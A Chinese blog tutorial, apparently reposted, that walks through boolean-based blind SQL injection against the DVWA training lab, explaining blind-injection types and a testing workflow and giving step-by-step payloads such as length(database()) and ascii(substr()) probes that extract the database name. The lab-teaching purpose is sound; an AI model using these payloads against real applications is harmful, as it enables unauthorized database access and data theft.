当前位置: 首页 > news >正文

【DVWA靶场】Web安全之(布尔值/延时型)SQL盲注(超详细教程)

SQL盲注原理

1.SQL盲注概念

   SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。

2.分类

基于布尔的盲注: 即可以根据返回页面判断条件真假的注入;基于时间的盲注: 即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断;基于报错的盲注: 即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中;

3.盲注测试思路

1.对于基于布尔的盲注,通过构造真or假判断条件(数据库各项信息取值的大小比较, 如:字段个数,字段长度、版本数值、字段名、字段名各组成部分在不同位置对应的字符ASCII码…), 将构造的sql语句提交到服务器,然后根据服务器对不同的请求返回不同的页面结果 (True、False);然后不断调整判断条件中的数值以逼近真实值,特别是需要关注 响应从True<–>False发生变化的转折点。

2.对于基于时间的盲注,通过构造真or假判断条件的sql语句, 且sql语句中根据需要联合使用sleep()函数一同向服务器发送请求, 观察服务器响应结果是否会执行所设置时间的延迟响应,以此来判断所构造条件的真or假(若执行sleep延迟,则表示当前设置的判断条件为真);然后不断调整判断条件中的数值以逼近真实值,最终确定具体的数值大小or名称拼写。

3.对于基于报错的盲注,搜寻查看网上部分Blog,基本是在rand()函数作为group by的字段进行联用的时候会违反Mysql的约定而报错。rand()随机不确定性,使得group by会使用多次而报错。

4.盲注渗透测试流程

1.判断是否存在注入,注入的类型

2.猜解当前数据库名称

3.猜解数据库中的表名

4.猜解表中的字段名

5.获取表中的字段值

6.验证字段值的有效性

7.获取数据库的其他信息:版本、用户…

实战教程

1、low等级

1.1代码审计

代码对参数id没有做任何检查、过滤,存在明显的SQL注入漏洞;
同时SQL语句查询返回的结果只有两种:
存在:User ID exists in the database;不存在:User ID is MISSING from the database;
    单引号注入

$getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

1.2漏洞利用

a基于布尔的盲注:

a.1判断是否存在注入,注入是字符型还是数字型

若1' and 1=1 #        //存在exists

1' and 1=2 #       //不存在missing

存在字符型注入

若1 and 1=1 #        //存在exists

1 and 1=2 #      //存在exists

这两个都是存在,不是数字型注入。输入1' and 1=1# 实际后台执行,返回存在。

SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=1#';

输入1' and 1=2# 实际后台执行,返回不存在。

SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=2#';

说明存在字符型的SQL盲注。

a.2猜解当前的数据库名称

猜解数据库名,首先要猜解数据库名的各个属性,然后挨个猜解字符。数据库名称的属性:字符长度、字符组成的元素(字符/数字/下划线/…)

        元素的位置(首位/第一位/…/末位)

2.1)判断数据库名称长度(二分法思维)

1' and length(database())>10 #          //missing

1' and length(database())>5 #           //missing

1' and length(database())>3 #          //exists

1' and length(database())=4 #         //exists

   

说明数据库名称长度为4个字符

SELECT first_name, last_name FROM users WHERE user_id = '1' and length(database())=4 # ';

2.2) 判断数据库名称的字符组成元素:

利用substr()函数从给定字符串中,从指定位置开始截取指定长度的字符串,分离出数据库名称的位置,并分别转换为ASCII,与对应的ASCII值比较大小,找到值相同的字符。

mysql数据库中的字符串函数substr()的参数含义。

用法:

substr(string, start, length);

string为字符串;

start为起始位置;

length为长度。

注意:mysql中substr()的start是从1开始的,而不是0

1' and ascii(substr(database(),1,1))>50 #             //exists

1' and ascii(substr(database(),1,1))=100 #           //exists

第一个字符为:100--->d

1' and ascii(substr(database(),2,1))=118 #            //exists

第二个字符为:118--->v

1' and ascii(substr(database(),3,1))=119 #           //exists

第三个字符为:119--->w

1' and ascii(substr(database(),4,1))=97 #            //exists

第四个字符为:97--->a      

   

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • Android RSA 加解密
  • stm32F1xx时钟配置分析总结
  • linux快速入门-学习笔记
  • Adobe“加速”创意人士开启设计新篇章
  • MongoDB教程(二十二):MongoDB固定集合
  • [k8s源码]8.deltaFIFO
  • Vue Router基础
  • BSV区块链在人工智能时代的数字化转型中的角色
  • 【快速实践 OpenCV morphology】形态学操作:腐蚀、膨胀、开运算、闭运算
  • 无人机飞行姿态俯仰、横滚、偏航、油门详解
  • vite+react+ts+Rust来进行前后端web开发(hello world)
  • 后端返回一个图片链接,前端如何实现下载功能?
  • 零基础入门:创建一个简单的Python爬虫管理系统
  • 杰发科技AC7840——SENT数据解析及软件Sent发送的实现
  • 【Node.js基础04】包的理解与使用
  • 【译】JS基础算法脚本:字符串结尾
  • Git同步原始仓库到Fork仓库中
  • JavaScript 一些 DOM 的知识点
  • JavaScript的使用你知道几种?(上)
  • Laravel Mix运行时关于es2015报错解决方案
  • miniui datagrid 的客户端分页解决方案 - CS结合
  • puppeteer stop redirect 的正确姿势及 net::ERR_FAILED 的解决
  • Python学习之路16-使用API
  • Redis 中的布隆过滤器
  • redis学习笔记(三):列表、集合、有序集合
  • SpiderData 2019年2月25日 DApp数据排行榜
  • SpingCloudBus整合RabbitMQ
  • Vue.js-Day01
  • Vultr 教程目录
  • 搞机器学习要哪些技能
  • 更好理解的面向对象的Javascript 1 —— 动态类型和多态
  • 互联网大裁员:Java程序员失工作,焉知不能进ali?
  • 聊聊hikari连接池的leakDetectionThreshold
  • 那些被忽略的 JavaScript 数组方法细节
  • 算法系列——算法入门之递归分而治之思想的实现
  • 我感觉这是史上最牛的防sql注入方法类
  • 我有几个粽子,和一个故事
  • python最赚钱的4个方向,你最心动的是哪个?
  • #[Composer学习笔记]Part1:安装composer并通过composer创建一个项目
  • #ubuntu# #git# repository git config --global --add safe.directory
  • #我与Java虚拟机的故事#连载05:Java虚拟机的修炼之道
  • (1)Hilt的基本概念和使用
  • (4) PIVOT 和 UPIVOT 的使用
  • (done) ROC曲线 和 AUC值 分别是什么?
  • (pojstep1.1.1)poj 1298(直叙式模拟)
  • (附源码)spring boot火车票售卖系统 毕业设计 211004
  • (附源码)ssm跨平台教学系统 毕业设计 280843
  • (南京观海微电子)——示波器使用介绍
  • (三)SvelteKit教程:layout 文件
  • (十一)图像的罗伯特梯度锐化
  • (详细文档!)javaswing图书管理系统+mysql数据库
  • (游戏设计草稿) 《外卖员模拟器》 (3D 科幻 角色扮演 开放世界 AI VR)
  • ../depcomp: line 571: exec: g++: not found
  • ./configure、make、make install 命令
  • .NET 8.0 中有哪些新的变化?